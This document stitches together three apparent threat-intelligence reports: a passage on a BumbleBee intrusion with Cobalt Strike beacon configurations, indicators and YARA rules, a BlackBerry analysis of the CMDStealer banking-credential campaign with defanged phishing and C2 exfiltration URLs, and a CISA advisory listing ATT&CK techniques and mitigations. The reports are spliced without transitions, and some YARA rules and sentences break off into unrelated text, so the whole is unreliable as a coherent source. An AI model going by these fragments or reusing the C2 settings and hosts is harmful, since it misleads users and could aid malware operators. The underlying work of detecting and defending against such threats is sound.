[fuvataren.com ,www.fuvataren.com ]Public Algorithm: rsaEncryption Below is the Cobalt Strike configuration of this C2 exported from a sandbox analysis results: access_type: 512 beacon_type: 2048 host: fuvataren.com,/rs.js http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_method1: GET http_method2: POST jitter: 6144 polling_time: 5000 port_number: 443 sc_process32: %windir%\syswow64\rundll32.exe sc_process64:


[dofixifa.com ,www.dofixifa.com ]Public Algorithm: rsaEncryption Full configuration extraction using 1768.py tool: Config found: xorkey b'.'


0x0001 0x0002 443 0x0003 sleeptime 0x0002 0x0004 5000


0x0004 maxgetsize 0x0002 0x0004


2796542 0x0005 jitter 0x0001 0x0002 48 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro' 0x0043 DNS_STRATEGY 0x0001 0x0002 0 0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1 0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1 0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1 0x000e SpawnTo 0x0003 0x0010 (NULL ...)


0x0001 0x0002 0 0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202' 0x000a post-uri 0x0003 0x0040 '/styles' 0x000b Malleable_C2_Instructions 0x0003 0x0100 Transform Input: [7:Input,4,2:338,3,8] Print Remove 338 bytes from begin BASE64 NETBIOS lowercase 0x000c http_get_header


[7:Output,15,3,4] XOR with 4-byte random key BASE64 Print Build SessionId:


[7:SessionId,3,2:__session__id=,6:Cookie] BASE64 Prepend __session__id= Header Cookie 0x0036 HostHeader 0x0003 0x0080 (NULL ...)


0x0032 UsesCookies 0x0001 0x0002 1 0x0023 proxy_type 0x0001 0x0002 2 IE settings 0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04' 0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04' 0x0037 EXIT_FUNK


0x0001 0x0002 0 0x0028 killdate 0x0002 0x0004 0 0x0029 textSectionEnd 0x0002 0x0004 155989 0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\x00p\x02\x00á\x0b\x03\x00\x00\x10\x03\x00 ·\x03\x00\x00À\x03\x00\x1cÞ\x03' 0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE 0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ 0x002d process-inject-min_alloc 0x0002 0x0004


The threat actors used default CS configuration and default named pipes.


Below is the full list of all default named pipes spotted during this intrusion: \postex_0dde \postex_3e9b \postex_4008 \postex_4429 \postex_55f8 \postex_8248 \postex_8c73 \postex_972d \postex_fc2e Named piped are commonly used by Cobalt Strike perform various techniques.


Here is a Guide to Named Pipes and Hunting for Cobalt Strike Pipes from one of our contributors @svch0st.


AnyDesk As mentioned before in the lateral tool transfer section, threat actors remotely dropped AnyDesk binary on a server from the beachhead: A new service was created (Event ID 7045) upon the execution of AnyDesk installer:


AnyDesk logs, %ProgramData%\AnyDesk\ad_svc.trace


and


%AppData%\AnyDesk\ad.trace, show that it was used during Day 1 and Day 7 of this intrusion, using the Administrator account each time.


The usage of AnyDesk also triggered two ET signatures: ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS


Impact There was no impact (exfiltration, data encryption, or destruction) during this intrusion.


However, the observed TTPs show common cybercrime threat actors tradecraft which may have lead to domain wide ransomware had the threat actors had enough time.


Indicators Files BC_invoice_Report_CORP_46.zip 5226b7138f4dd1dbb9f6953bd75a320b 6c87ca630c294773ab760d88587667f26e0213a3 c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127 document.lnk 3466ffaf086a29b8132e9e10d7111492 58739dc62eeac7374db9a8c07df7c7c36b550ce5 90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e namr.dll f856d7e7d485a2fc5b38faddd8c6ee5c c68e4d5eaae99d6f0a51eec48ace79a4fede3c09 2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218 wab.exe c68437cc9ed6645726119c12fdcb33e7 7a3db4b3359b60786fcbdaf0115191502fcded07 1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381 af.exe 9b02dd2a1a15e94922be3f85129083ac 2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 VulnRecon.exe 5839b4013cf6e25568f13d3fc4120795 d9832b46dd6f249191e9cbcfba2222c1702c499a eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef VulnRecon.dll 951d017ba31ecc6990c053225ee8f1e6 a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8 CommandLine.dll 3654f4e4c0858a9388c383b1225b8384 974ffbfae36e9a41ac672f9793ce1bee18f2e670 fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455 w.bat bba3ff461eee305c7408e31e427f57e6 3300c0c05b33691ecc04133885b7fc9513174746 59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2 s.bat 4b78228c08538208686b0f55353fa3bf 67707f863aa405a9b9a335704808c604845394bf 5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24 Network BumbleBee 142.91.3[.]109 45.140.146[.]30 Cobalt Strike 45.153.243[.]142 fuvataren[.]com 108.62.12[.]174 dofixifa[.]com Cobalt Strike Payload Hosting 104.243.33[.]50 Detections Network ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O) ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS


*/ rule bumblebee_13387_VulnRecon_dll { meta: description = "BumbleBee - file VulnRecon.dll" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8" strings: $x1 = "Use VulnRecon.exe -i, --SystemInfo to execute this command" fullword wide $x2 = "Use VulnRecon.exe -v, --Vulnerability to execute this command" fullword wide $x3 = "Use VulnRecon.exe -h, --HotFixes to execute this command" fullword wide $x4 = "Use VulnRecon.exe -m, --MicrosoftUpdates to execute this command" fullword wide $x5 = "Use VulnRecon.exe -s, --SupportedCve to execute this command" fullword wide $s6 = "VulnRecon.dll" fullword wide $s7 = "VulnRecon.Commands.


SystemCommands" fullword ascii $s8 = "VulnRecon.


Commands.


CveCommands" fullword ascii $s9 = "VulnRecon.


ToolsCommand" fullword ascii $s13 = "Using VulnRecon.exe -o or VulnRecon.exe --OptionName" fullword wide $s14 = "commandVersion" fullword ascii $s15 = "GetSystemInfoCommand" fullword ascii $s16 = "CreateGetSupportedCveCommand" fullword ascii $s17 = "CreateWindowsVersionCommand" fullword ascii $s18 = " <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>" fullword ascii $s19 = "get_CommandVersion" fullword ascii $s20 = "<CommandVersion>k__BackingField" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 50KB and 1 of ($x*) and 4 of them } rule bumblebee_13387_VulnRecon_exe { meta: description = "BumbleBee - file VulnRecon.exe" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef" strings: $s1 = "hostfxr.dll" fullword wide $s2 = "--- Invoked %s


[version: %s, commit hash: %s] main = {" fullword wide $s3 = "This executable is not bound to a managed DLL to execute.


The binding value is: '%s'" fullword wide $s4 = "D:\\a\\_work\\1\\s\\artifacts\\obj\\win-x64.Release\\corehost\\cli\\apphost\\standalone\\Release\\apphost.pdb" fullword ascii $s5 = "VulnRecon.dll" fullword wide $s6 = "api-ms-win-crt-runtime-l1-1-0.dll" fullword ascii $s7 = " - %s&apphost_version=%s" fullword wide $s8 = "api-ms-win-crt-convert-l1-1-0.dll" fullword ascii $s9 = "api-ms-win-crt-math-l1-1-0.dll" fullword ascii $s10 = "api-ms-win-crt-time-l1-1-0.dll" fullword ascii $s11 = "api-ms-win-crt-stdio-l1-1-0.dll" fullword ascii $s12 = "api-ms-win-crt-heap-l1-1-0.dll" fullword ascii $s13 = "api-ms-win-crt-string-l1-1-0.dll" fullword ascii $s14 = "The managed DLL bound to this executable is: '%s'" fullword wide $s15 = "A fatal error was encountered.


This executable was not bound to load a managed DLL."


[%s]" fullword wide $s19 = "https://go.microsoft.com/fwlink/?linkid=798306" fullword wide $s20 = "The managed DLL bound to this executable could not be retrieved from the executable image."


fullword wide condition: uint16(0) == 0x5a4d and filesize < 400KB and all of them } rule bumblebee_13387_wab { meta: description = "BumbleBee - file wab.exe" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381" strings: $s1 = "possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage " ascii $s2 = "pfxvex450gd81.exe" fullword ascii $s3 = "31403272414143" ascii /* hex encoded string '1@2rAAC' */ $s4 = "s wolf save detail surgery short vigour uttered fake proposal moustache accustomed lock been vegetable maximum ownership specifi" ascii $s5 = "130 Dial password %d propose7177!


Syllable( warrior stretching Angry 83) sabotage %s" fullword wide $s6 = "possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage " ascii $s7 = "accomplish course Content 506) arched organ Travels" fullword ascii $s8 = "123 serve edit.


693 Poison@ mercy " fullword wide $s9 = "Top wealthy!


fish 760? pier%complaint


July nicer!


%s shark+ " fullword wide $s10 = " Approximate- Choked- %s %s, " fullword wide $s11 = "niece beacon dwelling-


Headlong Intellectual+" fullword ascii $s12 = ">Certainty holes) cherries Proceeding Active+ surname Rex/ gets" fullword wide $s13 = "+Enthusiastic@ Couple?


%s, shy %


d %d) plume " fullword wide $s14 = " again workroom front leader height mantle mother sudden illness discontent who finest southern nature supplement normally hopef" ascii $s15 = "Advantage %s+ Creation.


Affirmative %s?


%s " fullword ascii $s16 = "Mind@ falcon+ illumination repair/


fullword ascii $s17 = "%Truthful- %d/ 161!


%s) Designer$ 372" fullword wide $s20 = "Fleet( %d, lads.


%d %s 445" fullword wide condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of the MITRE Phishing – T1566Malicious File – T1204.002Windows Command Shell – T1059.003PowerShell – T1059.001Process Injection –


Operation CMDStealer:

Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico


Financially Motivated Campaign Leverages CMD-Based Scripts and LOLBaS for Online Banking Theft in Portugal, Peru, and Mexico url: https://blogs.blackberry.com/en/2023/05/cmdstealer-targets-portugal-peru-and-mexico Operation CMDStealer:


This threat actor employs tactics such as LOLBaS (Living Off the Land Binaries and Scripts), along with CMD-based scripts to carry out its malicious activities.


The campaign utilizes phishing emails in Portuguese and Spanish, and social engineering tactics to target victims.


By posing as authoritative entities or government agencies, the messages are intended to deceive unsuspecting individuals and get them to disclose their online banking credentials.


Brief MITRE ATT&CK:registered: Information Tactic Technique Initial Access T1566.001 Execution T1204.002, T1059.001, T1059.003, T1047, T1059.005, T1059.007 Defense Evasion T1027, T1140 Command and Control T1001, T1105, T1132.001, T1071.001 Discovery T1069, T1082, T1087 Exfiltration T1041 Credential Access T1555.003 Persistence T1547.009 Weaponization and Technical Overview Weapons CMD files, Autolt scripts Attack Vector Phishing Network Infrastructure Malicious domains Targets Portugal, Mexico, Peru Technical Analysis Context The Latin American threat landscape primarily consists of financially-motivated malware, usually compiled into the final PE payloads.


While deploying the final payloads, BlackBerry threat researchers saw a variety of techniques, such as abusing VBE scripts, ISO images, and MSI packages.


In this case, the threat actor behind the campaign used CMD-based scripts, AutoIt scripts, and LOLBaS. LOLBaS and CMD-based scripts help threat actors avoid detection by traditional security measures.


By utilizing these techniques, they can gain unauthorized access to victims' systems, extract sensitive information, and ultimately compromise online banking accounts and payment systems.


The geographical focus of this threat actor centers on Portugal, Mexico, and Peru, where a significant number of Spanish and Portuguese speakers reside.


The first .CMD file set seen to use AutoIt in its execution was discovered at the end of 2021.


Figure 1 – CMDStealer files with a very low detection rate on Virus Total Operation CMDStealer Attack Vector


The infection chain begins with the user receiving a phishing email.


These phishing emails are specially crafted to grab victims’ attention.


In one instance, we observed one of the emails titled “Multa de Trânsito,“ which translates from Portuguese as “traffic infraction ticket.”


Each email has an HTML attachment.


During the extensive analysis of the “.HTML” files, BlackBerry identified a large list of HEX-encoded URLs, some of which are listed here: hxxps[:]//factura61[.]click/2/?j5szsmo0bk8tOSQSMS4mmp1XtQrmbNYoCB2GBem8 hxxps[:]//factura61[.]click/2/?vzlv9CZ1gnLrNIaWBJBhJNWRCt7IVXDDwVzOQhSs hxxps[:]//sunat-pe[.]fun/?D80gaUJDUfuLG6lodTSEi7qoqciBWk5xE5w81pJO hxxps[:]//factura61[.]click/2/?CTtBmkRN8KPXVTgUn1ArCPGb5WXTXTaT7etdD7TC hxxps[:]//factura61[.]click/2/?yqJl8r7henupax3WsUvITb0PuSw5sn7HyZWGMvDv hxxps[:]//factura61[.]click/2/?GxkVBvEBTFfSDqaFr8Yjw9kyKH01xRseHoF0DNQc hxxps[:]//multa-ansr-pt[.]fun/?UFqQBhFaXulvEfeTbI38FFDKRth1r2DWKOFqUI0Y hxxps[:]//multa-ansr-pt[.]fun/?l4mm0DEhDbJPYd5qAQmwst09TDTjjvYjiG7ByCvx Opening the attached “multa_de_transito_502323.html” file triggers the embedded JavaScript and reaches out to hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q to pull down the next stage which is a compressed archive (RAR) file.


The archive file is typically titled with one of the naming schemes (a few are listed below): doc-Impuestos_<[0-9]{6}>.rar doc-Impostos_<[0-9]{6}>.rar Documento_Impostos_<[0-9]{6}>.rar Multa_<[0-9]{6}>.rar Impuestos-Documento_<[0-9]{6}>.rar BlackBerry found different campaigns geofenced to each specific country.


The script is described in the SANS write-up released on 1/06/2023.


Figure 4 – Code instructions for both base64 data block execution The first base64 data blob is compiled AutoIt script and the second is AutoIt interpreter (a benign file), used to run the first file.


Next, it invokes the “_OUTRECOVERY()” function to steal Outlook data such as server, user, and password from POP3, SMPT, and IMAP registry keys.


The script is then instructed to call the “_CHROMERECOVERY()” function.


The C2 is constructed with the victim's enumerated data, where the values are: v1 – OS language (e.g., 1033 – English US) v2 – keyboard layout (e.g., 1033 – English US) v3 – operating system version (Windows 7,8,10,11 or unknown) v4 – is target an admin or user v5 – OS architecture (x86 or x64)


The URL then becomes: hxxp[:]//publicpressmagazine[.]com/images/swan/do/it[.]php?b1=1&v1=1033&v2=1033&v3=windows%2010&v4=admin&v5=x86 hxxp[:]//websylvania[.]com/psj/do/it[.]php?b1=1&v1=3082&v2=1034&v3=windows%207&v4=user&v5=x64 To gain persistence on the infected system, it relies on the following code: Figure 5 – Persistence in the system Notably, within the decompiled AutoIt scripts that were used to target Mexico, a list of Mexican banks was also specified.


If found, some of that data was sent back to the attacker.


Figure 6 – Financial targets in Mexico Based on the URLs of the financial targets in Mexico, the threat actor behind CMDStealer is highly interested in compromising enterprise/business accounts.


Operation CMDStealer Network Infrastructure The phishing and C2 (command and control) infrastructure are hosted on services with numerous domains associated with a single address, including fast flux services.


Such services go a long way in obfuscating NetFlow traffic analysis and infrastructure tracking.


Multiple hosts were identified communicating with most of the CMD Stealer’s C2, but communications were not reliable enough to confirm threat actor ownership.


Targets This attack primarily targets victims in Portugal, Mexico, and Peru.


Also, based on the configuration used to target victims in Mexico, the threat actor is interested in online business accounts, which usually have a better cash flow.


Attribution Based on the code and language analysis, research is confident that the threat actor behind this campaign belongs to Latin America, specifically Brazil.


Regular security awareness training should be provided to educate employees about the risks associated with social engineering.


Continuous monitoring and auditing of system logs can also help detect and investigate any suspicious activities related to LOLBaS. APPENDIX 1 – Referential Hashes SHA256 f6e84e43323ed9d8531fa2aeeb3c181c8f84fcbe950ce6dcdd8c3fa0b02c6cc0 MD5 e64f28174f646e26199d6b7735c84195 SHA256 0a277e51598ef364d5e0006817d32487eb9c0a3c150b7169cbc0bb7348088e63 MD5 f7f602f9b7fd04b64fbafe4dbfefa066 SHA256 2d87b9b071ace9f2ebfa33c1c0c21202f39876b312e135a491bf57ba731b798c MD5 fdcc1e1e3ccf30c63660e1f75042be43 SHA256 40017793f40a192b1dfdfc960742dd539b19fee9b15213307c8319fd88eee57f MD5 e212e8d740310cc565bc89c3b7966804 SHA256 cb1d1f039c07bd03b6eb14248a897dcefdefc28ae6f523b7c6f549c3c155640b APPENDIX 2 – Applied Countermeasures Yara Rules Available on request (see below).


Suricata Rule Available on request (see below).


Disclaimer:


The private version of this report is available on request.


It includes but is not limited to the complete and contextual MITRE ATT&CK:registered: mapping, MITRE D3FEND:trade_mark: countermeasures, Attack Flow by MITRE, and other threat detection content for tooling, network traffic, complete IOCs list, and system behavior.


For more information, email BlackBerry at cti@blackberry.com.


For similar articles and news delivered straight to your inbox, subscribe to the BlackBerry Blog.


About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.


Original release date: December 1, 2020SummaryThis Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework.

AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks


The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed persistent continued cyber intrusions by advanced persistent threat (APT) actors targeting U.S. think tanks.


This malicious activity is often, but not exclusively, directed at individuals and organizations that focus on international affairs or national security policy.[1]


The following guidance may assist U.S. think tanks in developing network defense procedures to prevent or rapidly detect these attacks.


APT actors have relied on multiple avenues for initial access.


Attackers may leverage virtual private networks (VPNs) and other remote work tools to gain initial access or persistence on a victim’s network.


When successful, these low-effort, high-reward approaches allow threat actors to steal sensitive information, acquire user credentials, and gain persistent access to victim networks.


Given the importance that think tanks can have in shaping U.S. policy, CISA and FBI urge individuals and organizations in the international affairs and national security sectors to immediately adopt a heightened state of awareness and implement the critical steps listed in the Mitigations section of this Advisory.


Technical DetailsATT&CK Profile CISA created the following MITRE ATT&CK profile to provide a non-exhaustive list of tactics, techniques, and procedures (TTPs) employed by APT actors to break through think tanks’ defenses, conduct reconnaissance in their environments, exfiltrate proprietary or confidential information, and execute effects on targets.


Initial Access [TA0001] Valid Accounts [T1078] Valid Accounts: Cloud Accounts


[T1078.004] External Remote Services [T1133] Drive-by Compromise [T1189] Exploit Public-Facing Application [T1190] Supply Chain Compromise: Compromise Software Supply Chain


[T1195.002] Trusted Relationship [T1199] Phishing:


Spearphishing Attachment [T1566.001] Phishing:


Spearphishing Link [T1566.002] Phishing: Spearphishing via Service [T1566.003] Execution [TA0002] Windows Management Instrumentation


[T1047] Scheduled Task/Job: Scheduled Task


[T1053.005] Command and Scripting Interpreter:


PowerShell


Windows Command Shell [T1059.003] Command and Scripting Interpreter:


Unix Shell [T1059.004] Command and Scripting Interpreter:


Visual Basic [T1059.005] Command and Scripting Interpreter:


[T1059.006] Native API [T1106] Exploitation for Client Execution [T1203] User Execution: Malicious Link [T1204.001] User Execution: Malicious File [T1204.002] Inter-Process Communication: Dynamic Data Exchange


Service Execution [T1569.002] Persistence [TA0003] Boot or Logon Initialization Scripts: Logon Script (Windows)


[T1053.005] Account Manipulation:


Exchange Email Delegate Permissions [T1098.002] Create Account: Local Account [T1136.001] Office Application Startup: Office Test [T1137.002] Office Application Startup:


Outlook Home Page [T1137.004] Browser Extensions [T1176] BITS Jobs


[T1197] Server Software Component: Web Shell [T1505.003] Pre-OS Boot:


Bootkit [T1542.003] Create or Modify System Process:


Windows Service [T1543.003] Event Triggered Execution: Change Default File Association


[T1546.008] Event Triggered Execution:


Component Object Model Hijacking


[T1546.015] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder


[T1547.001] Boot or Logon Autostart Execution: Shortcut Modification


[T1547.009] Privilege Escalation [TA0004] Process Injection [T1055] Process Injection: Process Hollowing


[T1055.012] Exploitation for Privilege Escalation


[T1068] Access Token Manipulation:


Token Impersonation/Theft


[T1134.001] Event Triggered Execution: Accessibility Features


[T1547.009] Abuse Elevation Control Mechanism: Bypass User Access Control


[TA0005] Rootkit [T1014] Obfuscated Files or Information:


Binary Padding [T1027.001] Obfuscated Files or Information: Software Packing [T1027.002] Obfuscated Files or Information:


Steganography


[T1036.005] Indicator Removal on Host: Clear Windows Event Logs


[T1070.001] Indicator Removal on Host: Clear Command History [1070.003] Indicator Removal on Host: File Deletion


[T1070.004] Indicator Removal on Host:


Timestomp [T1070.006] Modify Registry


[T1112] Deobfuscate/Decode Files or Information [T1140] Exploitation for Defense Evasion


Mshta [T1218.005] Signed Binary Proxy Execution: Rundll32


[T1548.002] Use Alternate Authentication Material: Application Access Token


[T1550.001] Subvert Trust Controls: Code Signing [T1553.002] Impair Defenses:


Disable or Modify Tools [T1562.001] Impair Defenses: Disable or Modify System Firewall [T1562.004] Hide Artifacts: Hidden Files and Directories


[T1564.001] Hide Artifacts:


Hidden Window


[T1564.003] Credential Access


[T1003.003] OS Credential Dumping: LSA Secrets [T1003.004] OS Credential Dumping: Cached Domain Credentials [T1003.005]


Keylogging [T1056.001] Brute Force: Password Cracking


Spraying [T1110.003] Forced Authentication [T1187] Steal Application Access


Token


[T1528] Unsecured Credentials: Credentials in Files [T1552.001] Unsecured Credentials: Group Policy Preferences [T1552.006] Credentials from Password Stores: Credentials from Web Browsers


[T1555.003] Discovery [TA0007] System Service Discovery


[T1007] Query Registry


[T1057] Permission Groups Discovery: Local Groups [T1069.001] Permission Groups Discovery:


[T1087.002] Peripheral Device Discovery [T1120] Network Share Discovery [T1135] Password Policy Discovery [T1201] Software Discovery: Security Software Discovery [T1518.001] Lateral Movement


[TA0008] Remote Services:


[T1021.001] Remote Services: SSH [T1021.004] Taint Shared Content [T1080] Replication Through


Removable Media


[T1091] Exploitation of Remote Services [T1210] Use Alternate Authentication Material:


Pass the Hash


Pass the Ticket [T1550.003] Collection


[T1025] Data Staged: Local Data Staging [T1074.001] Screen Capture [T1113] Email Collection:


Local Email Collection


Remote Email Collection


[T1114.002] Automated Collection [T1119] Audio Capture [T1123] Data from Information Repositories: SharePoint [T1213.002] Archive Collected Data: Archive via Utility [T1560.001] Archive Collected Data: Archive via Custom Method [T1560.003] Command and Control [TA0011] Data Obfuscation: Junk Data [T1001.001] Fallback Channels


[T1008] Application Layer Protocol: Web Protocols [T1071.001] Application Layer Protocol:


File Transfer Protocols


DNS [T1071.004] Proxy: External Proxy [T1090.002] Proxy: Multi-hop


Proxy [T1090.003] Proxy: Domain Fronting [T1090.004] Communication Through Removable Media


[T1092] Non-Application Layer Protocol


[T1095] Web Service: Dead Drop Resolver [T1102.001] Web Service:


Bidirectional Communication [T1102.002] Multi-Stage Channels [T1104] Ingress Tool Transfer [T1105] Data Encoding: Standard Encoding [T1132.001] Remote Access Software [T1219] Dynamic Resolution: Domain Generation Algorithms


[T1573.002] Exfiltration [TA0010] Exfiltration Over C2 Channel [T1041] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol


[T1048.003] Impact [TA0040] Data Encrypted for Impact [T1486] Resource Hijacking [T1496] System Shutdown/Reboot [T1529] Disk Wipe: Disk Structure Wipe


[T1561.002] MitigationsCISA and FBI recommend think tank organizations apply the following critical practices to strengthen their security posture.


Users/Staff Log off remote connections when not in use.


Be vigilant against tailored spearphishing attacks targeting corporate and personal accounts (including both email and social media accounts).


Use different passwords for corporate and personal accounts.


Employ strong multi-factor authentication for personal accounts, if available.


See Using Caution with Email Attachments.


Using removable media (e.g., USB thumb drives, external drives, CDs).


IT Staff/Cybersecurity Personnel Segment and segregate networks and functions.


Employ strong multi-factor authentication for corporate accounts.


Deploy antivirus software on organizational devices to automatically scan and quarantine suspicious files.


Apply encryption to data at rest and data in transit.


Use email security appliances to scan and remove malicious email attachments or links. Monitor key internal security tools and identify anomalous behavior.


Flag any known indicators of compromise or threat actor behaviors for immediate response.


Organizations can implement mitigations of varying complexity and restrictiveness to reduce the risk posed by threat actors who use Tor (The Onion Router) to carry out malicious activities.


See the CISA-FBI Joint Cybersecurity Advisory on Defending Against Malicious Cyber Activity Originating from Tor for mitigation options and additional information.


Prevent exploitation of known software vulnerabilities by routinely applying software patches and upgrades.


Foreign cyber threat actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations.


If these vulnerabilities are left unpatched, exploitation often requires few resources and provides threat actors with easy access to victim networks.


Review CISA and FBI’s Top 10 Routinely Exploited Vulnerabilities and other CISA alerts that identify vulnerabilities exploited by foreign attackers.


Implement an antivirus program and a formalized patch management process.


Block certain websites and email attachments commonly associated with malware (e.g., .scr, .pif, .cpl, .dll, .exe).


Block email attachments that cannot be scanned by antivirus software (e.g., .zip files).


Implement filters at the email gateway and block suspicious IP addresses at the firewall.


Routinely audit domain and local accounts as well as their permission levels to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.


Implement a Domain-Based Message Authentication, Reporting & Conformance (DMARC) validation system.


Disable or block unnecessary remote services.


Limit access to remote services through centrally managed concentrators.


Deny direct remote access to internal systems or resources by using network proxies, gateways, and firewalls.


Limit unnecessary lateral communications.


Disable file and printer sharing services.


If these services are required, use strong passwords or Active Directory authentication.


Ensure applications do not store sensitive data or credentials insecurely.


Enable a firewall on agency workstations, configured to deny unsolicited connection requests.


Disable unnecessary services on agency workstations and servers.


Scan for and remove suspicious email attachments; ensure any scanned attachment is its "true file type" (i.e., the extension matches the file header).


Monitor users' web browsing habits; restrict access to suspicious or risky sites.


Contact InformationRecipients of this report are encouraged to contribute any additional information that they may have related to this threat.


To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov.


